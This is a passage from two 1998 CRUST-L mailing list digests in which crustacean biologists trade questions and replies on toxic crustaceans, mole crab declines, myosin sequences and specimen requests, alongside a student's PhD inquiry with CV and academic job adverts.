Yours, Isabelle Biegala =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 22 Apr 1998 09:19:46 -0400 (EDT) Subject: Re: CRUST-L: toxic crusties result > >Thanks for posting an interesting discussion item. Few responses as yet, > >but I know that the remipedes have some toxins that are secreted from > >their mandibles. Saw a great poster at the TCS meeting in Mobile. Bruce Felgenhaur (sp?) presented the poster at TCS meeting. I think there is good circumstantial evidence that the remipedes have a toxin producing mandibular (?) organ. Don't know if the paper's been published yet. I think the poisonous crabs from the South Pacific obtain their toxin from eating algae, cf. ciguatera. Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 22 Apr 1998 11:26:24 -0400 (EDT) Subject: CRUST-L: Crustacea Post-Doc Position (fwd) - ---------- Forwarded message ---------- Date: Wed, 22 Apr 1998 10:05:12 -0400 (EDT) From: Andrew G. McArthur To: Jeffrey Shields Subject: Crustacea Post-Doc Position The following may be of interest to you and CRUST-L. Is a post-doc position in crustacean molecular systematics. http://alun.uio.no/zoomus/engelsk/general/vacant.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Wed, 22 Apr 1998 12:01:33 -0700 (PDT) Subject: CRUST-L: Mole Crab Info Request I work in the Benthic Ecology Program at Mote MArine Laboratory and recieved a call from a high school student on the west coast of Florida. He was wondering why the Mole Crabs < Emerita) seem to have dissappeared. Does any one have any information on Emerita's - 1. Living habits - do they ever go into deeper water? 2. Has anyone studied the effects of beach restoration projects on populations of Emeritas 3. We have had a very windy year this year - could this be a possible explaination. Over the last few years, some of my volunteers who are avid fisherman have also noticed a declined in availabilty of mole crabs(one of their favorite fishing baits) on our local beaches. I would welcome any comments or suggestions of literature which may help me out. Thanks, debi Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: aharvey@AMNH.ORG (Alan Harvey) Date: Wed, 22 Apr 1998 12:46:06 -0500 Subject: Re: CRUST-L: Mole Crab Info Request Debi, Just a couple quick observations. First, Emerita are seasonal, even in Florida, and are often hard to find before May. Second, it has been documented that mole crab abundance is negatively impacted by heavy foot traffic (can't recall the reference offhand). Third, these critters are pretty nomadic and gregarious, conditions which favor high interannual variability in local abundance (e.g., see some of Adrian Wenner's work in the 1960's). Cheers, Alan - ------------------------------------ Alan W. Harvey (aharvey@amnh.org) Assistant Curator of Invertebrates American Museum of Natural History Central Park West at 79th Street New York, NY 10024 (212) 769-5638; fax (212) 769-5783 http://research.amnh.org/~aharvey =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gregory Jensen Date: Wed, 22 Apr 1998 11:25:05 -0700 (PDT) Subject: Re: CRUST-L: toxic crusties There are at least two species of amphipods in the Pacific Northwest that appear to utilize chemical defenses. Both are very boldly marked, sit right out in the open, and are rejected when offered to fish. When stressed they release a brownish liquid from the mouth, much like the "spit" from grasshoppers (which contains toxins sequestered from plants). A fish ecologist, Steve Norton, has done quite a bit of work on these amphipods but I don't know of any published information yet. Gregory C. Jensen University of Washington =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 22 Apr 1998 16:53:20 -0400 (EDT) Subject: CRUST-L: Lobster tissue (fwd) Please respond to Keith Crandall and not to me. Cheers, Jeff - ---------- Forwarded message ---------- From: "Keith A. Crandall" Subject: lobster tissue X-Sender: kac@email.byu.edu To: CRUST-L@VIMS.EDU Message-id: MIME-version: 1.0 Content-type: text/plain; charset="us-ascii" Dear Crusters, I'm looking for some lobster outgroups for a systematic study of the crayfish families and subfamilies. I was hoping some of you could help by shipping me live lobster specimens or whole or tissue samples of frozen specimens. A frozen leg would due if your positive about the id and are willing to keep the remainder as a voucher specimen. I'd be happy to reimburse you for the postage charges. I can also provide a FedEx number to avoid charges to you at all. In particular, I'm looking for species of Nephrops, Homarinus, Metanephrops, Nephropsis, Thaumastocheles, Thymops, Eunephrops, and Thymopides. Thanks for your help!!! Cheers, Keith **************************** Dr. Keith A. Crandall Assistant Professor Department of Zoology 574 Widtsoe Building Brigham Young University Provo, UT 84602-5255 USA (801) 378-3495 Fax: (801) 378-7423 keith_crandall@byu.edu **************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wtctj@mail.zlnet.com.cn Date: Thu, 23 Apr 1998 10:00:43 +0800 Subject: CRUST-L: e-mails of Artemia experts Dear All, We would like to know the e-mails of the following Artemia experts: 1. Abreu-Grobois, F. A. 2. Badaracco G. 3. Beardmore J. A. Any help is very much apperciated. Thank you in advance. Sun Yi, Ph.D. Biology Department Nankai University Tianjin, China =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wtctj@mail.zlnet.com.cn Date: Thu, 23 Apr 1998 10:00:36 +0800 Subject: CRUST-L: rare male of parthenogenetic Artemia Dear All, We are studying the rare males of parthenogenetic Artemia. We would like to know the appearance mechanisms and fuctions of rare males of parthenogenetic Artemia in the parthenogenetic population. Similar studies and results on other species are also much appreciated. Thank you in advance. Sun Yi, Ph.D. Biology Department Nankai University Tianjin, China =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Burachai Sonthayanon Date: Thu, 23 Apr 1998 10:11:22 +0700 (GMT+0700) Subject: Re: CRUST-L: Commercially available myosins from Crustacea?? Hello Grant, and everybody, On Tue, 21 Apr 1998, GRANT D STENTIFORD wrote: > how conserved are the myosins in different species?. I > am working on the deep abdominal flexor muscle of the Norway Losbter > (Nephrops norvegicus)...this muscle is homogenous fast type. I will try to help answering some of your questions. From our cDNA sequence data on Penaeus monodon, some of our clones which we classified as myosin (heavy chain) showed some 67-75 % sequence similarity to that of a Drosophila melanogaster one. The similarity would be less to those of mammalian ones. Hope this give you some idea. Burachai Sonthayanon, Ph.D. Assistant Prof. in Biochemistry, Mahidol University e-mail : scbst@mahidol.ac.th =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "JAMES RICHARD WILLIAMS" Date: Thu, 23 Apr 1998 13:20:01 GMT0BST Subject: CRUST-L: PhD application Dear Readers, RE: PhD Position My name is James Williams and I am a final year Hons Biology student at the University of Nottingham, U.K. I am writing to enquire about research PhD studentships. During an inter-calated year out (academic year 1996/97), I worked at the Oceanarium in St.David's, Pembrokeshire (U.K.) in order to gain first-hand experience of Atlantic marine life and the fishing industry. My final year research project has involved studying moult-associated changes in the muscle tissues of the Edible Crab, Cancer pagurus. I am extremely keen to continue research in marine species, particularly those of relevance to commercial fisheries. I would be very grateful if you could reply with details of appropriate PhD studentships available which you may know of, together with details of the application procedure. Pasted below are my CV and a brief summary of the current crab project for your perusal. I would also greatly appreciate it if this information could be forwarded to prospective PhD supervisors. I shall be very pleased to hear from you at your earliest convenience, Yours Sincerely, James Williams. The Effect of The Moulting Cycle on the Quality of Crab Meat General This preliminary study is being carried out by James Williams as a Third Year Project and will contribute to his finals in Hons Biology at the University of Nottingham. During an inter-calated year out (academic year 1996/97), James worked at the Oceanarium in St.David's, Pembrokeshire under the supervision of Mr.Gary Cross, the Director. In spare time, James researched aspects of crab biology of relevance to the shellfish industry, and in particular in ways of discriminating between individuals rich in meat and those with little meat. Studies were conducted on the European Edible Crab, Cancer pagurus. The intermoult stages of Brachyurans appears to be critical in determining meat content and quality. The major phase of this project is concerned with looking at the cellular and molecular changes underlying these tissue alterations. The supervisor for these studies is Dr.Mike J.Dowdall, a Biochemist with research interests in cell physiology and with considerable experience in working with marine species. He has spent a total of eight summers working at the Marine Biological Laboratory at Woods Hole and has been a member of their corporation since 1974. Research Literature searches reveal that virtually nothing has been published on the cellular and molecular changes occurring in crab muscle during the intermoult period between consecutive moults (ecdyses). This in itself is very surprising, since during each cycle there must be massive changes in the cellular architecture which must be reflected in biochemical ones. These changes must be comparable to those which are seen generally in animal development. It is known that developmental changes involve a constant, ongoing re-organisation of the cellular populations and this is achieved by alterations in the expression of different families of proteins encoded for by the genotype (co-ordinate gene switching). Post-development, a more stable phenotype emerges and gene-switching on this scale is not seen - although it still occurs periodically in specialised tissues (e.g. those under control by hormones of the steroid category). The moulting process in arthropods is known to be regulated by hormones of the ecdysone family and indeed co-ordinate gene switching was first demonstrated in insects. In insects the spectrum of gene products (proteins) after ecdysone treatment is quite different from that seen before. It has therefore been proposed that changes in protein expression be looked for in crab muscle as a function of the "moult-cycle stage". Accurate moult-staging is a major problem faced by the shellfish industry and academics alike; traditionally, it has been impossible to accurately predict meat quality and content of intermoult crabs. After recognition of this problem, which has both major ecological and economic implications for the fishery, a novel quantitative method for moult-staging was recently devised and has been used in this study. This was developed at the Oceanarium and depends on total body mass of the crab relative to its size. A commercially available electronic device for this ("Crab-Check") is currently under development. The biochemical measurements involved in this project focus on the activities of a number of key enzymes which are likely to change during the re-organisation of muscle in the cycle. These are mitochondrial, lysosomal and cytoplasmic enzymes (e.g. fumarase, acid phosphatase and alanine-pyruvate transaminase) and also include those which are important to the energetics of normal muscle function (e.g. arginine kinase and lactate dehydrogenase). In addition, activities not normally found in muscle, but present in tissues which are nutrient donors, are also being measured (e.g. alkaline phosphatase). These may be correlated to muscle tissue wet / dry masses, protein content, and to measurements of muscle changes which occur during cooking of crabs at the various stages. The biochemical information might help to focus on the specific changes occurring in the muscle tissue during the cycle; these may ultimately and importantly relate to meat content and quality. Experimental Design Muscle of the crab claw is used as being representative of the whole muscle mass of the crab. Mr.Gary Cross co-ordinated the arrangements for obtaining crabs from local commercial fishermen, and a sample of 45 crabs were caught for the study on a trip during December 1997. Prior to collection, pilot experiments on enzyme activity in Shore Crab (Carcinus maenas) muscle were conducted in Nottingham on fresh material. These were designed to test optimal conditions for tissue homogenisation and low temperature storage, as well as establishing =91baseline=92 activities of the specific enzymes studied. The C. pagurus collection involved measuring mass and size dimensions of the crabs, followed by removal and freezing of claws from 25 =91calibrated=92 individuals. These were transported to Nottingham for laboratory analysis. Claw tissue homogenates were made for each crab and are stored at -80=B0C. This material forms the tissue bank from which data sets on individual enzyme activities and other muscle proteins are being established. The 25 crabs selected fall into groups of individuals at different stages in the intermoult cycle, and hence it should be possible to determine the biochemical basis for the large-scale changes which occur. Funding This project is funded by the Shellfish Association of Great Britain.. Curriculum Vitae - James Richard Williams PERSONAL DETAILS Date of birth: 20th May, 1976. Nationality: British. Home address: The Old Manor House, 6, Main Street, Hartshorne, Swadlincote, Derbyshire, U.K. DE11 7ES E-mail: plyljrw@pln2.nottingham.ac.uk CAREER AIM Biologist with relevant work experience, looking to pursue a career in marine biological research with particular application to sea fisheries and their successful management. EDUCATION 1994-98 University of Nottingham, School of Biology. BSc (Hons) Biology Modules studied include: Animal Behaviour, Animal Form & Function, Biological Anthropology, Biomonitoring of Pollution, Cell Structure & Metabolism, Conservation Biology & Biogeography, Dissertation, Freshwater Ecophysiology, Genes and Cellular Control, Genetics & Evolution, Hormones & Reproduction, Human genetics, Marine Biology, Microbiology, Photography & Life Science, Physiological Zoology, Plant Science, Population Genetics Field Course, Primatology, Principles of Ecology & Evolution. Final Year Research Project: The effect of the moulting cycle on the quality of crab meat: muscle biochemistry in the Edible Crab, Cancer pagurus. Expected degree class: 1st class /high 2.1 1996-97 Inter-calated year placement The Oceanarium, St.Davids Sea Life Centre Ltd., St.David's, Pembrokeshire, U.K. Employed as manager and aquarist to gain first-hand knowledge of the fishing industry, its practices, markets and operation. Conducted original scientific research in areas where very little published work exists, including crustacean fishery and fish superattractants projects. 1992-94 Abbot Beyne School Sixth Form, Burton-upon-Trent, Staffordshire. 'A' Levels: Biology (B), Geography (A), Chemistry (B), General Studies (B) 1987-92 Abbot Beyne School, Burton-upon-Trent, Staffordshire. GCSEs: English Language (A), English Literature (A), Maths (A), Science (AA), Geography (A), Art (A), French (B), German (B). RELEVANT BIOLOGICAL SKILLS AND EXPERIENCE * Extensive first hand knowledge of the sea fishing industry. I have valuable practical experience on domestic and commercial fishing vessels, including inshore crab and lobster fishing, inshore trawling for Oceanarium live specimens, and deep sea fishing. The latter includes one week commercial longlining 100 miles offshore in the Bay of Biscay acting as supervisor for trials of prototype superattractants. * Sea Aquarium management, including aquarium operation and maintenance; fish capture, care, diet and disease; accounting; advertising; bookings; educational talks. * Correspondence with fishery organisations, their academics and agents world-wide to discuss research topics. * Considerable understanding and first hand observational/practical experience of Atlantic seafish and marine life,including their natural history, ecology and reproduction. * Experience in applying for research grants to the E.C., the Shellfish Association of Great Britain and the Welsh Development Agency. RELEVANT PERSONAL SKILLS * Excellent communicative skills. I am an experienced public speaker having performed numerous educational and entertaining group talks to >100 persons including adults, children aged 4-16, sixth form and undergraduate students. I can readily communicate with fishermen and appreciate their valuable knowledge which may often provide essential clues to successful fishery management. * Problem solving approach to tackling tasks. I work expeditiously either independently or as a member of a team to completethe task in hand. * Organisation when undertaking laboratory/field experiments and during report writing. INTERESTS * I enjoy most outdoor activities and sport in general, including football, swimming, surfing, mountain biking, sea-fishing, squash and badminton. I am currently a BSAC Novice Diver nearing Sports Diver qualification, and have experience diving to collect specimens for the Oceanarium. * I have been playing acoustic and electric guitar for seven years. * I have a keen interest in biological photography (stills and video) and have studied this subject as part of my degree. OTHER SKILLS AND EXPERIENCE * Computer literacy, including word processing, graphics, data analysis/presentation, statistical analysis, the Internet and relevant e-mail discussion groups. Applications include Word, Excel, Pagemaker, Photoshop, Minitab, Ecostat, Authorware. * Inshore boat handling experience. * Understanding and awareness of ocean tides, currents and weather systems. * Full, clean driving licence. * I have also gained further experience of the working environment in various weekend and holiday jobs throughout the last eight years. REFEREES Mr. Gary Cross (Director), Oceanarium, St. David's Sea Life Centre Ltd., St.David's, Pembrokeshire, U.K. NG7 2RD E-mail: gary@sealife.demon.co.uk Dr. Mike J. Dowdall (Reader in Neurochemistry), School of Biology, University of Nottingham, University Park, Nottingham, U.K. SA62 6SS E-mail: plylmjd@pln1.nottingham.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 23 Apr 1998 09:35:35 -0400 (EDT) Subject: CRUST-L: anomoran histology Please respond to Stephen Dunbar, s.dunbar@cqu.edu.au, or the list, but not directly to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: dunbars@topaz.cqu.edu.au To: CRUST-L@VIMS.EDU From: "Stephen G. Dunbar" Subject: Anomuran Histology? Hi Everyone, Just wondering if anyone knows of an atlas of anomuran histology or references to such? I have found one for Callinectes sapidus by P.T. Johnson (1980) and also one on Penaeid shrimp by Bell & Lightner (?), but nothing so far on anomurans. Thanks, as always, for any help you can give. Steve Stephen G. Dunbar Central Queensland University Department of Biology CQ Mail Centre, QLD 4702 Email: dunbars@topaz.cqu.edu.au Ph: 0749-309-647 Fax: 0749-309-209 Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ron Rosati Date: Thu, 23 Apr 1998 13:26:07 -0500 Subject: CRUST-L: wanted: 4 million p. vannamei post larvea for late May delivery I am trying to buy 4 million p. vannamei PL 8's for late May delivery to = South Texas. The PL's must be certified high health and disease free by = the Texas Parks and Wildlife Department. If you have any leads on a = source please reply via return e-mail or call Ron Rosati at = 512-593-3811. Thanks for your help. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Fri, 24 Apr 1998 11:31:58 +0100 Subject: Re: CRUST-L: toxic crusties >An article in the new American Scientist by Jim McClintock prompts me to >wonder how many crusties use defensive (or even offensive) toxins? (...) >But-do crusties have their *own* toxins? If not synthesized by themselves, >at least sequestered from their food, such as sponges or corals, etc. Like >insects do with toxic plants. You will find some information and "old" observations in the following reference : Guinot D., 1967. Les crabes comestibles de l'Indo-Pacifique. Editions de la Fondation Singer-Polignac, Paris, 1- 145, fig.1-23 + pl. 1-10 HT. See especially pages 13-19. Hope it will help. Best regards. Pierre. Pierre Y. NOEL, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Fri, 24 Apr 1998 15:46:27 +0000 (SAST) Subject: CRUST-L: Southern African Decapod Larval Works Fellow Members A colleague and I are collaborating on a review paper entitled The Past, Present and Future of Decapod Crustacean Larval Research in Southern Africa. In this respect we would like to have access to all the relevant research in this field for this subregion. We have access to all (we think) the relevant research conducted by South African scientists (which by the way is minimal) and will shortly be in contact with all marine and estuarine researchers in South Africa to gain an indication of present research projects and foci. This message is therefore aimed primarily at foreign researchers. I am aware of several foreigners who have and are conducting work on Decapods in Africa south of the equator. I am not however certain as to whether there is a larval component to any of this research, and would appreciate a response from anyone working in this field, irrespective of the spp concerned and the type of work conducted, just so long as it involves decapod larvae in the southern African region. Any work that may have been done in the past would also be appreciated as well as the addresses of workers who may not subscribe to the newsgroup. Furthermore, if anyone has or knows of work planned for the future, I would also appreciate information in this respect. For the purposes of this paper we have set the limits of Southern Africa as being the Cunene River (border between Namibia and Angola) on the west coast and the same approximate latitude on the east coast (ie just north of Beira, Mocambique). I feel that it is probably best that respondents reply to me directly via email and I will then supply a summary of the info I received to the newsgroup should anyone be interested. Yours Brent Brent Newman University of Zululand South Africa =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #137 ***************************** From owner-crust-l Mon Apr 27 05:44:38 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id FAA18984 for crust-l-digest-outgoing; Mon, 27 Apr 1998 05:41:09 -0400 Date: Mon, 27 Apr 1998 05:41:09 -0400 Message-Id: <199804270941.FAA18984@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #138 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 12 crust-l-digest Monday, 27 April 1998 Volume 01 : Number 138 CRUST-L: Thalassinid Larval Starvation Resistance CRUST-L: Forwarded mail.... CRUST-L: Mole crabs (fwd) Re: CRUST-L: Mole Crab Info Request CRUST-L: Toxic crustaceans Re: CRUST-L: Toxic crustaceans CRUST-L: toxic crustaceans Re: CRUST-L: Toxic crustaceans CRUST-L: toxic crustaceans Re: CRUST-L: toxic crustaceans Re: CRUST-L: toxic crustaceans CRUST-L: Re: Toxic crustaceans CRUST-L: Crusty Stories [none] ---------------------------------------------------------------------- From: Brent Newman zool Date: Fri, 24 Apr 1998 16:03:01 +0000 (SAST) Subject: CRUST-L: Thalassinid Larval Starvation Resistance Fellow members I have been conducting research (as part of a PhD) on the starvation resistance capabilities of Upogebia afrivana larve (Point of Reserve Saturation and No Return (PRS and PNR) and cyclic (patchy) food regimens). As some of you may be aware the literature in this respect is expanding, particularly for brachyuran crabs (see several papers by Klaus Anger and co-workers). However, as far as I am aware, there are only four references in this respect for thalssinid larvae viz Thessalou-Legaki wt al. 1992. Effects of starvation and food density on the larval development of Calianassa tyrrhena (Decapoda, Thalassinidea); Forbes: Callianassa krausii - PhD and Descriptive paper; Shy and Chan, 1996. Complete larval develpment of the edible mud shrimp Upogebia edulis Ngoc-Ho and Chan; Gurney, 1937. Notes on some decapod crustacea from the Red Sea.II The larvae of Upogebia savignyi Strahl. Could any members tell me whether I have missed any references? I realise that this newsgroup is not the forum for a quick literature search, but a literature search by keywords would not have revealed the last three mentioned works as they mention merely as anecdotal info that these larvae are highly lecithotrophic and do not need to feed throughout development. My literature search also suggests that our general understanding of thalssinid larval ecology is almost non existent (excluding larval morphology). Can anyone else confirm this? Looking forward to hearing from you Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ernie Chang Date: Fri, 24 Apr 1998 08:39:18 -0700 (PDT) Subject: CRUST-L: Forwarded mail.... UNIVERSITY OF TASMANIA LAUNCESTON SCHOOL OF AQUACULTURE Associate Lecturer/Lecturer in Crustacean Biology The School of Aquaculture seeks to appoint an Associate Lecturer (Level A) or Lecturer (Level B) to teach in Crustacean Aquaculture on a full-time limited term basis (3 - 5 years, subject to negotiation) commencing on 1 July 1998. The successful applicant will be required to teach at undergraduate and postgraduate diploma levels and will therefore have demonstrated (Level B) or potential (Level A) teaching ability in crustacean biology, preferably with relevance to aquaculture, and will display enthusiasm and innovation in teaching delivery. Knowledge of, or experience with, crustacean aquaculture is highly desirable. The successful candidate will have submitted or hold a PhD (Level A), or hold a PhD and have postdoctoral or employment experience (Level B), in a discipline relevant to crustacean biology or aquaculture, and have a proven record of research in invertebrate biology or aquaculture (Level B), or show the potential to conduct research (Level A) as evidenced by refereed publication of original research, consultancy or patents. A vision for the candidate's own research at the University of Tasmania will be required, as will evidence of the capacity to supervise and manage Honours, Masters and PhD candidates. At Level B, the appointee will have demonstrated ability to attract grant funding to support research. Experience of interaction with industry is desirable. The successful candidate will have the capacity to manage and lead technical staff, and will undertake administrative duties commensurate with the level of appointment. The capacity to operate in a team environment is highly desirable. Salary will be in the range of $31,130 - $41,889 per annum (Level A), or $44,042 - $52,113 